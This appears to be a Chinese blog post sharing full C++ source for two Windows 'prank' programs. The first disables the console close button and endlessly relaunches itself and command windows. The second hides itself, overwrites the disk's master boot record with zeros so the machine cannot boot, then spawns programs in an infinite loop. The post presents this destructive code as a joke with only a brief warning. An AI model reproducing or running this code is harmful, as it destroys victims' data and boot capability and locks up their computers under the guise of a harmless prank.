整人小程序c++实现(附源码)

两个用c++实现的整人小程序,亲测可用

切勿拿实体机试验,<极易废电脑> 

#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
	SetConsoleTitle("整人小程序");  //将程序标题改为整人小程序 
	HWND hWnd;   //设置一个窗口句柄 
	hWnd=FindWindow("ConsoleWindowClass",NULL);  //获取控制台窗口 
	HMENU hMenu;   //设置一个窗口菜单句柄 
	hMenu=GetSystemMenu(hWnd,false);  //得到最小化、关闭等等的菜单,并赋值为false
	EnableMenuItem(hMenu,SC_CLOSE,MF_BYCOMMAND|MF_GRAYED);  //SC_CLOSE为关闭按钮,后面两个使得关闭按钮变灰无法点击
	MessageBox(NULL,"你已经无法关闭此窗口了!","提示",MB_OK|MB_ICONINFORMATION);  //弹出窗口
	Sleep(1000);
	for(int i=0; ;i++)//也可以用while(1)代替,反正都是死循环 
	{
		system("start");  //打开命令提示符
		ShellExecute(0,"open","整人小程序.exe",0,0,1);  //ShellExecute函数,open为打开,第三项为指定的程序 
		Sleep(50);  //每次循环后休息0.05秒
	}
}
#include <windows.h>
#include <cstdlib>
#include <cstdio>
int main()
{
	NEXT_INQUIRY:
		HWND hWnd;  //设置一个句柄
		hWnd=FindWindow("ConsoleWindowClass",NULL);  //得到控制台窗口句柄
		if(!hWnd)
		{
			goto NEXT_INQUIRY;  //返回NEXT_INQUIRY下的代码继续 
		}
		ShowWindow(hWnd,SW_HIDE);  //将自己隐藏
		FILE *REMOVE_MBR=fopen("\\\\.\\PHYSICALDRIVE0","rb+");  //\\\\.\\PHYSICALDRIVE0为MBR文件,fopen打开,rb+意为打开一个二进制文件,只可读写数据 
		char MBR[512];  //将MBR的大小设置为512,因为MBR的三个主引导扇区的总大小为512 
		ZeroMemory(MBR,sizeof(MBR));  //初始化MBR的大小 
		fwrite(MBR,sizeof(MBR),1,REMOVE_MBR);  //写入一个新的MBR值(破坏MBR)
		CloseHandle(REMOVE_MBR);  //关闭REMOVE_MBR句柄
		while(1)  //死循环 
		{
			HWND windows=FindWindow("ConsoleWindowClass","整人小程序(加强版)");  //找到标题为 整人小程序(加强版) 的控制台窗口 
			if(windows==NULL)  //如果未找到 
			{
				ShellExecute(0,"open","整人小程序(加强版).exe",0,0,1);  //打开 整人小程序(加强版)
				MessageBox(NULL,"你激怒我了!","愤怒",MB_OK|MB_ICONERROR);  //弹出窗口 
				while(1)  //死循环 
				{
					const char *application[]={"cmd.exe","calc.exe","explorer.exe","mspaint.exe","QQ.exe","cloudmiusic.exe","notepad.exe"};  //需要打开的程序 
					int stochastic=rand()%6;  //设置一个随机数,使其随机输出0~6的数 
					ShellExecute(0,"open",application[stochastic],0,0,1);  //随机打开上述文件的其中之一 
					Sleep(50);  //每次循环后休息0.05秒 
				}
			} 
		} 
		
}

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值